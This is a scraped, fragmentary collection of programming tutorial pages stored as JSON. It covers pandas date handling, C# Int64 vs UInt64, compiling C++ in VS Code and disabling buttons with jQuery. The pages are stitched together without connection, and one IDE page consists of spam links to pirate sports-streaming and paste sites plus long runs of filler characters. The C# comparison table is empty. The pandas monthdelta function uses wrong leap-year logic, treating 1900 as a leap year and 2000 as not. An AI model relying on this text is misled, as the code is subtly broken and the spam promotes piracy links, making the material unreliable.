"e": 2476, "s": 2466, "text": "7# 7 days" }, { "code": null, "e": 2646, "s": 2476, "text": "# for a column in a DataFramefrom datetime import datetime as dtdf['day'] = df['date'].dt.day# for a single valuefrom dateutil.parser import parseparse('2018-08-09').day" }, { "code": null, "e": 2654, "s": 2646, "text": "Output:" }, { "code": null, "e": 2656, "s": 2654, "text": "9" }, { "code": null, "e": 2665, "s": 2656, "text": "Example:" }, { "code": null, "e": 2887, "s": 2665, "text": "df = pd.DataFrame({'date': ['2018-08-09 11:10:55','2019-01-02 13:15:21']})# if date column type is a stringdf['week'] = pd.DatetimeIndex(df['date']).week# if date column type is a datetime# df['week'] = df['date'].dt.week" }, { "code": null, "e": 2895, "s": 2887, "text": "Output:" }, { "code": null, "e": 2952, "s": 2895, "text": "(*) To create a Week column, in the format yyyy-ww, use:" }, { "code": null, "e": 3203, "s": 2952, "text": "df = pd.DataFrame({'date': ['2018-08-09 11:10:55','2019-03-02 13:15:21']})# if column type is a string/objectdf['yyyy_ww'] = pd.DatetimeIndex(df['date']).strftime('%Y-%U')# if column type is a datetime# df['yyyy_ww'] = df['date'].dt.strftime('%Y-%U')" }, { "code": null, "e": 3233, "s": 3203, "text": "And for an isolated variable:" }, { "code": null, "e": 3300, "s": 3233, "text": "import datetimedate_1 = '2018-02-06'parse(date_1).isocalendar()[1]" }, { "code": null, "e": 3308, "s": 3300, "text": "Output:" }, { "code": null, "e": 3332, "s": 3308, "text": "6# 6th week of the year" }, { "code": null, "e": 3341, "s": 3332, "text": "Example:" }, { "code": null, "e": 3414, "s": 3341, "text": "df['weekday'] = df['date'].apply(lambda x: parse(str(x)).strftime(\"%A\"))" }, { "code": null, "e": 3422, "s": 3414, "text": "Output:" }, { "code": null, "e": 3520, "s": 3422, "text": "Example: you want to know what dates were the start and end from week number 37 in the year 2018:" }, { "code": null, "e": 4002, "s": 3520, "text": "# define this functiondef get_start_end_dates(yyyyww): year = yyyyww[:4] week = yyyyww[-2:] first_day_year = str(year) + '-' + '01' + '-' + '01' d = parse(first_day_year) if(d.weekday()<= 3): d = d - timedelta(d.weekday()) else: d = d + timedelta(7-d.weekday()) dlt = timedelta(days = (int(week)-1)*7) return (d + dlt).strftime('%Y-%m-%d'), (d + dlt + timedelta(days=6)).strftime('%Y-%m-%d')# run itget_start_end_dates('201837')" }, { "code": null, "e": 4059, "s": 4002, "text": "Output (a tuple with the start and the end of the week):" }, { "code": null, "e": 4088, "s": 4059, "text": "('2018-09-10', '2018-09-16')" }, { "code": null, "e": 4097, "s": 4088, "text": "Example:" }, { "code": null, "e": 4330, "s": 4097, "text": "df = pd.DataFrame({'date': ['2018-08-09 11:10:55','2019-03-02 13:15:21']})# if date column type is a string/objectdf['month'] = pd.DatetimeIndex(df['date']).month# if date column type is a datetime# df['month'] = df['date'].dt.month" }, { "code": null, "e": 4338, "s": 4330, "text": "Output:" }, { "code": null, "e": 4368, "s": 4338, "text": "And for an isolated variable:" }, { "code": null, "e": 4424, "s": 4368, "text": "import datetimedate_1 = '2018-02-06'parse(date_1).month" }, { "code": null, "e": 4432, "s": 4424, "text": "Output:" }, { "code": null, "e": 4457, "s": 4432, "text": "2# 2nd month of the year" }, { "code": null, "e": 4515, "s": 4457, "text": "(*) To create a month column, in the format YYYY-MM, use:" }, { "code": null, "e": 4766, "s": 4515, "text": "df = pd.DataFrame({'date': ['2018-08-09 11:10:55','2019-03-02 13:15:21']})# if column type is a string/objectdf['yyyy_mm'] = pd.DatetimeIndex(df['date']).strftime('%Y-%m')# if column type is a datetime# df['yyyy_mm'] = df['date'].dt.strftime('%Y-%m')" }, { "code": null, "e": 4784, "s": 4766, "text": "Use this function" }, { "code": null, "e": 5109, "s": 4784, "text": "def monthdelta(date, delta): m, y = (date.month+delta) % 12, date.year + ((date.month)+delta-1) // 12 if not m: m = 12 d = min(date.day, [31, 29 if y%4==0 and not y%400==0 else 28,31,30,31,30,31,31,30,31,30,31][m-1]) new_date = (date.replace(day=d,month=m, year=y)) return new_date.strftime('%Y-%m-%d')" }, { "code": null, "e": 5159, "s": 5109, "text": "Example (subtracting 4 months to a certain date):" }, { "code": null, "e": 5195, "s": 5159, "text": "monthdelta(parse('2019-11-09'), -4)" }, { "code": null, "e": 5246, "s": 5195, "text": "Output (shows the same date, but 4 months before):" }, { "code": null, "e": 5259, "s": 5246, "text": "'2019-07-09'" }, { "code": null, "e": 5268, "s": 5259, "text": "Example:" }, { "code": null, "e": 5497, "s": 5268, "text": "df = pd.DataFrame({'date': ['2018-08-09 11:10:55','2019-03-02 13:15:21']})# if date column type is a string/objectdf['year'] = pd.DatetimeIndex(df['date']).year# if date column type is a datetime# df['year'] = df['date'].dt.year" }, { "code": null, "e": 5527, "s": 5497, "text": "And for an isolated variable:" }, { "code": null, "e": 5582, "s": 5527, "text": "import datetimedate_1 = '2018-02-06'parse(date_1).year" }, { "code": null, "e": 5590, "s": 5582, "text": "Output:" }, { "code": null, "e": 5595, "s": 5590, "text": "2018" }, { "code": null, "e": 5682, "s": 5595, "text": "Example: generating a date range from 01/01/2019 to 01/02/2019, with hourly frequency." }, { "code": null, "e": 5804, "s": 5682, "text": "from datetime import datetimeimport numpy as npdate_range = pd.date_range(start='01/01/2019', end='01/02/2019', freq='H')" }, { "code": null, "e": 5858, "s": 5804, "text": "See the different option for the frequencies in here." }, { "code": null, "e": 6507, "s": 5858, "text": "import randomimport timefrom dateutil.parser import parsedef str_time_prop(start, end, format, prop): stime = time.mktime(time.strptime(start, format)) etime = time.mktime(time.strptime(end, format)) ptime = stime + prop * (etime - stime) return time.strftime(format, time.localtime(ptime))selected_format = '%Y-%m-%d %H:%M:%S'def random_date(start, end, prop): return parse(str_time_prop(start, end, selected_format, prop)).strftime(selected_format)print(random_date(\"2020-01-01 13:40:00\", \"2020-01-01 14:10:00\", random.random()))def make_date(x): return random_date(\"2012-12-01 13:40:00\", \"2012-12-24 14:50:00\", random.random())" }, { "code": null, "e": 6544, "s": 6507, "text": "Here’s the source for this function." }, { "code": null, "e": 6676, "s": 6544, "text": "From this, we can generate random dates. For example, let’s generate a list of 10 random timestamps between Christmas and new year:" }, { "code": null, "e": 6812, "s": 6676, "text": "def make_date(x): return random_date(\"2012-12-24 00:00:00\", \"2012-12-31 23:59:59\", random.random())[make_date(x) for x in range(10)]" }, { "code": null, "e": 6860, "s": 6812, "text": "We can add it also to any dataframe, like this:" }, { "code": null, "e": 6947, "s": 6860, "text": "df = pd.DataFrame({'number': [1,2,3,4,5]})df['time'] = df['number'].apply(make_date)df" }, { "code": null, "e": 7035, "s": 6947, "text": "This is the end of the article. Hope you enjoy it and that you can make good use of it!" }, { "code": null, "e": 7096, "s": 7035, "text": "Send me a message or leave a reply if you have any question." } ]
IDE | GeeksforGeeks | A computer science portal for geeks
Please enter your email address or userHandle. 123456789101112131415161718192021https://smash.gg/tournament/en-directo-real-madrid-vs-barcelona-supercopa-en-directo-online/detailshttps://smash.gg/tournament/gratis-tv-barcelona-vs-real-madrid-en-vivo-online-12/detailshttps://smash.gg/tournament/supercopa-bar-a-vs-madrid-en-directo/detailshttps://smash.gg/tournament/semifinal-real-madrid-fc-barcelona-en-vivo-gratis/detailshttps://smash.gg/tournament/ver-real-madrid-fc-barcelona-gratis-en-vivo/detailshttps://smash.gg/tournament/supercopa-madrid-vs-bar-a-en-directo/detailshttps://smash.gg/tournament/supercopa-de-espa-a-2022-bar-a-vs-madrid-en/detailshttps://smash.gg/tournament/live-inter-juventus-supercoppa-in-diretta-streaming/detailshttps://smash.gg/tournament/calcio-tv-inter-juve-in-diretta-streaming/detailshttps://smash.gg/tournament/dove-vederla-inter-juve-in-diretta-streaming/detailshttps://smash.gg/tournament/supercoppa-inter-juventus-dove-vederla-in-tv/detailshttps://smash.gg/tournament/streaming-inter-juventus-supercoppa-dove-vederla-in-diretta-tv/detailshttps://smash.gg/tournament/live-diretta-juve-inter-supercoppa-in-diretta-streaming/detailshttps://gametv24sports.blogspot.com/2022/01/supercoppa-dove-vederla.htmlhttps://tumbfrt.tumblr.com/post/673187019079516160/ryrtyt-terytuhttps://www.click4r.com/posts/g/3375865/tytyi7yi-rtytutyhttps://paste2.org/6Oybzgcyhttps://pasteio.com/xAiTh5376hqjhttps://paste.in/tTkmbchttp://www.4mark.net/story/5439421/%e2%98%85-en-directo-real-madrid-vs-barcelona-(supercopa)-en-directo-onlinehttps://www.lattepanda.com/topic-f5t36554.htmlההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX https://ide.geeksforgeeks.org/rS6ZyfkhcM prog.c:1:6: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘:’ token
[ { "code": null, "e": 164, "s": 117, "text": "Please enter your email address or userHandle." }, { "code": null, "e": 2227, "s": 164, "text": "123456789101112131415161718192021https://smash.gg/tournament/en-directo-real-madrid-vs-barcelona-supercopa-en-directo-online/detailshttps://smash.gg/tournament/gratis-tv-barcelona-vs-real-madrid-en-vivo-online-12/detailshttps://smash.gg/tournament/supercopa-bar-a-vs-madrid-en-directo/detailshttps://smash.gg/tournament/semifinal-real-madrid-fc-barcelona-en-vivo-gratis/detailshttps://smash.gg/tournament/ver-real-madrid-fc-barcelona-gratis-en-vivo/detailshttps://smash.gg/tournament/supercopa-madrid-vs-bar-a-en-directo/detailshttps://smash.gg/tournament/supercopa-de-espa-a-2022-bar-a-vs-madrid-en/detailshttps://smash.gg/tournament/live-inter-juventus-supercoppa-in-diretta-streaming/detailshttps://smash.gg/tournament/calcio-tv-inter-juve-in-diretta-streaming/detailshttps://smash.gg/tournament/dove-vederla-inter-juve-in-diretta-streaming/detailshttps://smash.gg/tournament/supercoppa-inter-juventus-dove-vederla-in-tv/detailshttps://smash.gg/tournament/streaming-inter-juventus-supercoppa-dove-vederla-in-diretta-tv/detailshttps://smash.gg/tournament/live-diretta-juve-inter-supercoppa-in-diretta-streaming/detailshttps://gametv24sports.blogspot.com/2022/01/supercoppa-dove-vederla.htmlhttps://tumbfrt.tumblr.com/post/673187019079516160/ryrtyt-terytuhttps://www.click4r.com/posts/g/3375865/tytyi7yi-rtytutyhttps://paste2.org/6Oybzgcyhttps://pasteio.com/xAiTh5376hqjhttps://paste.in/tTkmbchttp://www.4mark.net/story/5439421/%e2%98%85-en-directo-real-madrid-vs-barcelona-(supercopa)-en-directo-onlinehttps://www.lattepanda.com/topic-f5t36554.htmlההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" }, { "code": null, "e": 2268, "s": 2227, "text": "https://ide.geeksforgeeks.org/rS6ZyfkhcM" } ]
Difference between Int64 and UInt64 in C# - GeeksforGeeks
26 May, 2020 Int64: This Struct is used to represents 64-bit signed integer. The Int64 can store both types of values including negative and positive between the ranges of -9,223,372,036,854,775,808 to +9, 223,372,036,854,775,807 Example : C# // C# program to show the// difference between Int64// and UInt64 using System;using System.Text; publicclass GFG { // Main Method static void Main(string[] args) { // printing minimum & maximum values Console.WriteLine("Minimum value of Int64: " + Int64.MinValue); Console.WriteLine("Maximum value of Int64: " + Int64.MaxValue); Console.WriteLine(); // Int64 array Int64[] arr1 = {-3, 0, 1, 3, 7}; foreach (Int64 i in arr1) { Console.WriteLine(i); } }} Output: Minimum value of Int64: -9223372036854775808 Maximum value of Int64: 9223372036854775807 -3 0 1 3 7 UInt64: This Struct is used to represents 64-bit unsigned integer. The UInt64 can store only positive value only which ranges from 0 to 18,446,744,073,709,551,615. Example : C# // C# program to show the // difference between Int64 // and UInt64 using System;using System.Text; public class GFG{ // Main Method static void Main(string[] args) { //printing minimum & maximum values Console.WriteLine("Minimum value of UInt64: " + UInt64.MinValue); Console.WriteLine("Maximum value of UInt64: " + UInt64.MaxValue); Console.WriteLine(); //Int64 array UInt64[] arr1 = { 13, 0, 1, 3, 7}; foreach (UInt64 i in arr1) { Console.WriteLine(i); } }} Output: Minimum value of UInt64: 0 Maximum value of UInt64: 18446744073709551615 13 0 1 3 7 Differences between Int64 and UInt64 in C# Sr.No INT64 UINT64 1. 2. 3. 4. 5. 6. Syntax to declare the Int64 : Int64 variable_name; Syntax to declare the UInt64: UInt64 variable_name; CSharp-Int64-Struct CSharp-UInt64-Struct C# Difference Between Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. C# Dictionary with examples C# | Delegates C# | Method Overriding C# | Abstract Classes Difference between Ref and Out keywords in C# Difference between BFS and DFS Class method vs Static method in Python Differences between TCP and UDP Difference between var, let and const keywords in JavaScript Differences between IPv4 and IPv6
[ { "code": null, "e": 25809, "s": 25781, "text": "\n26 May, 2020" }, { "code": null, "e": 26026, "s": 25809, "text": "Int64: This Struct is used to represents 64-bit signed integer. The Int64 can store both types of values including negative and positive between the ranges of -9,223,372,036,854,775,808 to +9, 223,372,036,854,775,807" }, { "code": null, "e": 26036, "s": 26026, "text": "Example :" }, { "code": null, "e": 26039, "s": 26036, "text": "C#" }, { "code": "// C# program to show the// difference between Int64// and UInt64 using System;using System.Text; publicclass GFG { // Main Method static void Main(string[] args) { // printing minimum & maximum values Console.WriteLine(\"Minimum value of Int64: \" + Int64.MinValue); Console.WriteLine(\"Maximum value of Int64: \" + Int64.MaxValue); Console.WriteLine(); // Int64 array Int64[] arr1 = {-3, 0, 1, 3, 7}; foreach (Int64 i in arr1) { Console.WriteLine(i); } }}", "e": 26583, "s": 26039, "text": null }, { "code": null, "e": 26591, "s": 26583, "text": "Output:" }, { "code": null, "e": 26693, "s": 26591, "text": "Minimum value of Int64: -9223372036854775808\nMaximum value of Int64: 9223372036854775807\n\n-3\n0\n1\n3\n7\n" }, { "code": null, "e": 26857, "s": 26693, "text": "UInt64: This Struct is used to represents 64-bit unsigned integer. The UInt64 can store only positive value only which ranges from 0 to 18,446,744,073,709,551,615." }, { "code": null, "e": 26867, "s": 26857, "text": "Example :" }, { "code": null, "e": 26870, "s": 26867, "text": "C#" }, { "code": "// C# program to show the // difference between Int64 // and UInt64 using System;using System.Text; public class GFG{ // Main Method static void Main(string[] args) { //printing minimum & maximum values Console.WriteLine(\"Minimum value of UInt64: \" + UInt64.MinValue); Console.WriteLine(\"Maximum value of UInt64: \" + UInt64.MaxValue); Console.WriteLine(); //Int64 array UInt64[] arr1 = { 13, 0, 1, 3, 7}; foreach (UInt64 i in arr1) { Console.WriteLine(i); } }}", "e": 27497, "s": 26870, "text": null }, { "code": null, "e": 27505, "s": 27497, "text": "Output:" }, { "code": null, "e": 27591, "s": 27505, "text": "Minimum value of UInt64: 0\nMaximum value of UInt64: 18446744073709551615\n\n13\n0\n1\n3\n7\n" }, { "code": null, "e": 27634, "s": 27591, "text": "Differences between Int64 and UInt64 in C#" }, { "code": null, "e": 27640, "s": 27634, "text": "Sr.No" }, { "code": null, "e": 27646, "s": 27640, "text": "INT64" }, { "code": null, "e": 27653, "s": 27646, "text": "UINT64" }, { "code": null, "e": 27656, "s": 27653, "text": "1." }, { "code": null, "e": 27659, "s": 27656, "text": "2." }, { "code": null, "e": 27662, "s": 27659, "text": "3." }, { "code": null, "e": 27665, "s": 27662, "text": "4." }, { "code": null, "e": 27668, "s": 27665, "text": "5." }, { "code": null, "e": 27672, "s": 27668, "text": " 6." }, { "code": null, "e": 27703, "s": 27672, "text": " Syntax to declare the Int64 :" }, { "code": null, "e": 27725, "s": 27703, "text": "Int64 variable_name;\n" }, { "code": null, "e": 27757, "s": 27725, "text": " Syntax to declare the UInt64:" }, { "code": null, "e": 27780, "s": 27757, "text": "UInt64 variable_name;\n" }, { "code": null, "e": 27800, "s": 27780, "text": "CSharp-Int64-Struct" }, { "code": null, "e": 27821, "s": 27800, "text": "CSharp-UInt64-Struct" }, { "code": null, "e": 27824, "s": 27821, "text": "C#" }, { "code": null, "e": 27843, "s": 27824, "text": "Difference Between" }, { "code": null, "e": 27941, "s": 27843, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27969, "s": 27941, "text": "C# Dictionary with examples" }, { "code": null, "e": 27984, "s": 27969, "text": "C# | Delegates" }, { "code": null, "e": 28007, "s": 27984, "text": "C# | Method Overriding" }, { "code": null, "e": 28029, "s": 28007, "text": "C# | Abstract Classes" }, { "code": null, "e": 28075, "s": 28029, "text": "Difference between Ref and Out keywords in C#" }, { "code": null, "e": 28106, "s": 28075, "text": "Difference between BFS and DFS" }, { "code": null, "e": 28146, "s": 28106, "text": "Class method vs Static method in Python" }, { "code": null, "e": 28178, "s": 28146, "text": "Differences between TCP and UDP" }, { "code": null, "e": 28239, "s": 28178, "text": "Difference between var, let and const keywords in JavaScript" } ]
VS Code | Compile and Run in C++ - GeeksforGeeks
11 Feb, 2021 In this article, we will learn how to compile and run C++ program in VS Code. There are two ways of doing that you can use any one of them as per your convenience. It is to be noted that a majority of competitive programmers use C++, therefore the compilation and execution of the program needs to be done quickly. Some methods which are discussed in this article almost automate the process of compilation and execution. Program:Let below be the code to demonstrate compilation and execution: C++ // C++ program to take the input of// two numbers and prints its sum#include <bits/stdc++.h>using namespace std; // Driver Codeint main(){ int a, b; // Input two numbers cin >> a >> b; // Find the sum int sum = a + b; // Print the sum cout << sum; return 0;} For compilation and creation of executable file run the below command: g++ -std = c++11 -O2 -Wall programName.cpp -o programName.exe Understanding different terms in above command: g++: tells the computer the given command is for g++ compiler. -std = c++11: the compiler follows C++11 standard, you can set it to -std = c++14 or -std=c++17 based on what you want to use. -O2: Optimizes the code -Wall: shows warnings about possible errors programName.cpp: refers to the c++ file to be compiled -o programName.exe: creates a executable file of the suggested name( here programName.exe). Note: The name of cpp file and executable file need not be same. Steps: Hover over terminal tab and select New Terminal. Command prompt will open with current directory. Type the syntax given above with suitable program-name and executable file name. Press Enter and Input/Output in command line itself: Pass the executable file to be run and press enter. Type the required input, each separated by space and press enter. The required output shall be displayed in a new-line of the command line as shown below. Input/Output through text files: Create two text files input.txt and output.txt. Make sure input.txt contains the required to be input. Paste the following code just inside your main() function. C++ #ifndef ONLINE_JUDGEfreopen("input.txt", "r", stdin);freopen("output.txt", "w", stdout);#endif Compile the new code again with preferably the same name for executable file. Pass the executable file to be run in the command line and press enter You would notice the output in output.txt file. Using the template created so far, we can easily upgrade to code runner. Below are the steps: Install the code runner extension as shown below: Click on the play button on the top-right of the window as shown below: The output of the program is displayed automatically in output.txt file. Firstly search and install cph by Divyanshu Agrawal Now, we are going to run a simple program and try to show learn how to use this ext. Using +New Testcase, we different test cases and their expected outputs respectively. Using Run All , we run all test cases 0166621m C++ Competitive Programming Software Engineering CPP Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Inheritance in C++ Map in C++ Standard Template Library (STL) C++ Classes and Objects Bitwise Operators in C/C++ Virtual Function in C++ Competitive Programming - A Complete Guide Practice for cracking any coding interview Arrow operator -> in C/C++ with Examples Prefix Sum Array - Implementation and Applications in Competitive Programming Fast I/O for Competitive Programming
[ { "code": null, "e": 25663, "s": 25635, "text": "\n11 Feb, 2021" }, { "code": null, "e": 26085, "s": 25663, "text": "In this article, we will learn how to compile and run C++ program in VS Code. There are two ways of doing that you can use any one of them as per your convenience. It is to be noted that a majority of competitive programmers use C++, therefore the compilation and execution of the program needs to be done quickly. Some methods which are discussed in this article almost automate the process of compilation and execution." }, { "code": null, "e": 26157, "s": 26085, "text": "Program:Let below be the code to demonstrate compilation and execution:" }, { "code": null, "e": 26161, "s": 26157, "text": "C++" }, { "code": "// C++ program to take the input of// two numbers and prints its sum#include <bits/stdc++.h>using namespace std; // Driver Codeint main(){ int a, b; // Input two numbers cin >> a >> b; // Find the sum int sum = a + b; // Print the sum cout << sum; return 0;}", "e": 26448, "s": 26161, "text": null }, { "code": null, "e": 26519, "s": 26448, "text": "For compilation and creation of executable file run the below command:" }, { "code": null, "e": 26582, "s": 26519, "text": "g++ -std = c++11 -O2 -Wall programName.cpp -o programName.exe " }, { "code": null, "e": 26630, "s": 26582, "text": "Understanding different terms in above command:" }, { "code": null, "e": 26693, "s": 26630, "text": "g++: tells the computer the given command is for g++ compiler." }, { "code": null, "e": 26820, "s": 26693, "text": "-std = c++11: the compiler follows C++11 standard, you can set it to -std = c++14 or -std=c++17 based on what you want to use." }, { "code": null, "e": 26844, "s": 26820, "text": "-O2: Optimizes the code" }, { "code": null, "e": 26888, "s": 26844, "text": "-Wall: shows warnings about possible errors" }, { "code": null, "e": 26943, "s": 26888, "text": "programName.cpp: refers to the c++ file to be compiled" }, { "code": null, "e": 27035, "s": 26943, "text": "-o programName.exe: creates a executable file of the suggested name( here programName.exe)." }, { "code": null, "e": 27100, "s": 27035, "text": "Note: The name of cpp file and executable file need not be same." }, { "code": null, "e": 27107, "s": 27100, "text": "Steps:" }, { "code": null, "e": 27156, "s": 27107, "text": "Hover over terminal tab and select New Terminal." }, { "code": null, "e": 27205, "s": 27156, "text": "Command prompt will open with current directory." }, { "code": null, "e": 27286, "s": 27205, "text": "Type the syntax given above with suitable program-name and executable file name." }, { "code": null, "e": 27302, "s": 27286, "text": "Press Enter and" }, { "code": null, "e": 27339, "s": 27302, "text": "Input/Output in command line itself:" }, { "code": null, "e": 27391, "s": 27339, "text": "Pass the executable file to be run and press enter." }, { "code": null, "e": 27457, "s": 27391, "text": "Type the required input, each separated by space and press enter." }, { "code": null, "e": 27546, "s": 27457, "text": "The required output shall be displayed in a new-line of the command line as shown below." }, { "code": null, "e": 27579, "s": 27546, "text": "Input/Output through text files:" }, { "code": null, "e": 27682, "s": 27579, "text": "Create two text files input.txt and output.txt. Make sure input.txt contains the required to be input." }, { "code": null, "e": 27741, "s": 27682, "text": "Paste the following code just inside your main() function." }, { "code": null, "e": 27745, "s": 27741, "text": "C++" }, { "code": "#ifndef ONLINE_JUDGEfreopen(\"input.txt\", \"r\", stdin);freopen(\"output.txt\", \"w\", stdout);#endif", "e": 27840, "s": 27745, "text": null }, { "code": null, "e": 27920, "s": 27842, "text": "Compile the new code again with preferably the same name for executable file." }, { "code": null, "e": 27991, "s": 27920, "text": "Pass the executable file to be run in the command line and press enter" }, { "code": null, "e": 28039, "s": 27991, "text": "You would notice the output in output.txt file." }, { "code": null, "e": 28135, "s": 28041, "text": "Using the template created so far, we can easily upgrade to code runner. Below are the steps:" }, { "code": null, "e": 28187, "s": 28137, "text": "Install the code runner extension as shown below:" }, { "code": null, "e": 28259, "s": 28187, "text": "Click on the play button on the top-right of the window as shown below:" }, { "code": null, "e": 28332, "s": 28259, "text": "The output of the program is displayed automatically in output.txt file." }, { "code": null, "e": 28384, "s": 28332, "text": "Firstly search and install cph by Divyanshu Agrawal" }, { "code": null, "e": 28469, "s": 28384, "text": "Now, we are going to run a simple program and try to show learn how to use this ext." }, { "code": null, "e": 28555, "s": 28469, "text": "Using +New Testcase, we different test cases and their expected outputs respectively." }, { "code": null, "e": 28593, "s": 28555, "text": "Using Run All , we run all test cases" }, { "code": null, "e": 28602, "s": 28593, "text": "0166621m" }, { "code": null, "e": 28606, "s": 28602, "text": "C++" }, { "code": null, "e": 28630, "s": 28606, "text": "Competitive Programming" }, { "code": null, "e": 28651, "s": 28630, "text": "Software Engineering" }, { "code": null, "e": 28655, "s": 28651, "text": "CPP" }, { "code": null, "e": 28753, "s": 28655, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 28772, "s": 28753, "text": "Inheritance in C++" }, { "code": null, "e": 28815, "s": 28772, "text": "Map in C++ Standard Template Library (STL)" }, { "code": null, "e": 28839, "s": 28815, "text": "C++ Classes and Objects" }, { "code": null, "e": 28866, "s": 28839, "text": "Bitwise Operators in C/C++" }, { "code": null, "e": 28890, "s": 28866, "text": "Virtual Function in C++" }, { "code": null, "e": 28933, "s": 28890, "text": "Competitive Programming - A Complete Guide" }, { "code": null, "e": 28976, "s": 28933, "text": "Practice for cracking any coding interview" }, { "code": null, "e": 29017, "s": 28976, "text": "Arrow operator -> in C/C++ with Examples" }, { "code": null, "e": 29095, "s": 29017, "text": "Prefix Sum Array - Implementation and Applications in Competitive Programming" } ]
How to enable/disable a button using jQuery ? - GeeksforGeeks
20 Sep, 2021 In this article, we will demonstrate how to enable and disable buttons using jQuery. This article requires some familiarity with HTML, CSS, JavaScript, and jQuery. The jQuery prop() function can be used to disable a button. The property values can be explicitly retrieved using the prop() method. The prop() method only returns the property value for the first matching element in the set. For a property whose value hasn’t been set, or for a matched set that does not contain elements, it returns Undefined. Syntax: The selected element’s boolean attribute can be set to true or false using this method. $().prop(property, value) The function returns a boolean value. Whenever the selected element contains a boolean attribute (disabled, checked), it returns true otherwise. $().prop(property) What is a disabled attribute? This is a boolean attribute that indicates the element should not be displayed. It is unusable to use an element that is disabled. You can set the disabled attribute to prevent the element from being used until another condition is met (such as checking a box). Example: When you click the button below, the button above is disabled, and when you double click the button below, the button above is enabled. The prop is applied in this example to demonstrate how it is used correctly and how it can be applied. HTML <!DOCTYPE html><html> <head> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"> </script></head> <body style="text-align: center; border:2px solid green; min-height:240px;"> <h1 style="color:green;"> GeeksforGeeks </h1> <button id="update"> update me </button> <div style="margin-top:50px;"> <button id="change"> click me </button> </div> <script> $('#change').on('click', function () { $('#update').prop('disabled', true); } ); $('#change').on('dblclick', function () { $('#update').prop('disabled', false); }); </script></body> </html> Output: output Attention reader! Don’t stop learning now. Get hold of all the important HTML concepts with the Web Design for Beginners | HTML course. Blogathon-2021 jQuery-Methods jQuery-Questions Picked Blogathon HTML JQuery Web Technologies HTML Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to Create a Table With Multiple Foreign Keys in SQL? How to Import JSON Data into SQL Server? Stratified Sampling in Pandas How to Install Tkinter in Windows? Python program to convert XML to Dictionary How to insert spaces/tabs in text using HTML/CSS? Top 10 Projects For Beginners To Practice HTML and CSS Skills How to update Node.js and NPM to next version ? How to set the default value for an HTML <select> element ? Hide or show elements in HTML using display property
[ { "code": null, "e": 26160, "s": 26132, "text": "\n20 Sep, 2021" }, { "code": null, "e": 26386, "s": 26160, "text": "In this article, we will demonstrate how to enable and disable buttons using jQuery. This article requires some familiarity with HTML, CSS, JavaScript, and jQuery. The jQuery prop() function can be used to disable a button. " }, { "code": null, "e": 26671, "s": 26386, "text": "The property values can be explicitly retrieved using the prop() method. The prop() method only returns the property value for the first matching element in the set. For a property whose value hasn’t been set, or for a matched set that does not contain elements, it returns Undefined." }, { "code": null, "e": 26679, "s": 26671, "text": "Syntax:" }, { "code": null, "e": 26768, "s": 26679, "text": "The selected element’s boolean attribute can be set to true or false using this method. " }, { "code": null, "e": 26795, "s": 26768, "text": "$().prop(property, value) " }, { "code": null, "e": 26942, "s": 26797, "text": "The function returns a boolean value. Whenever the selected element contains a boolean attribute (disabled, checked), it returns true otherwise." }, { "code": null, "e": 26961, "s": 26942, "text": "$().prop(property)" }, { "code": null, "e": 26991, "s": 26961, "text": "What is a disabled attribute?" }, { "code": null, "e": 27253, "s": 26991, "text": "This is a boolean attribute that indicates the element should not be displayed. It is unusable to use an element that is disabled. You can set the disabled attribute to prevent the element from being used until another condition is met (such as checking a box)." }, { "code": null, "e": 27501, "s": 27253, "text": "Example: When you click the button below, the button above is disabled, and when you double click the button below, the button above is enabled. The prop is applied in this example to demonstrate how it is used correctly and how it can be applied." }, { "code": null, "e": 27506, "s": 27501, "text": "HTML" }, { "code": "<!DOCTYPE html><html> <head> <script src=\"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js\"> </script></head> <body style=\"text-align: center; border:2px solid green; min-height:240px;\"> <h1 style=\"color:green;\"> GeeksforGeeks </h1> <button id=\"update\"> update me </button> <div style=\"margin-top:50px;\"> <button id=\"change\"> click me </button> </div> <script> $('#change').on('click', function () { $('#update').prop('disabled', true); } ); $('#change').on('dblclick', function () { $('#update').prop('disabled', false); }); </script></body> </html>", "e": 28226, "s": 27506, "text": null }, { "code": null, "e": 28234, "s": 28226, "text": "Output:" }, { "code": null, "e": 28241, "s": 28234, "text": "output" }, { "code": null, "e": 28378, "s": 28241, "text": "Attention reader! Don’t stop learning now. Get hold of all the important HTML concepts with the Web Design for Beginners | HTML course." }, { "code": null, "e": 28393, "s": 28378, "text": "Blogathon-2021" }, { "code": null, "e": 28408, "s": 28393, "text": "jQuery-Methods" }, { "code": null, "e": 28425, "s": 28408, "text": 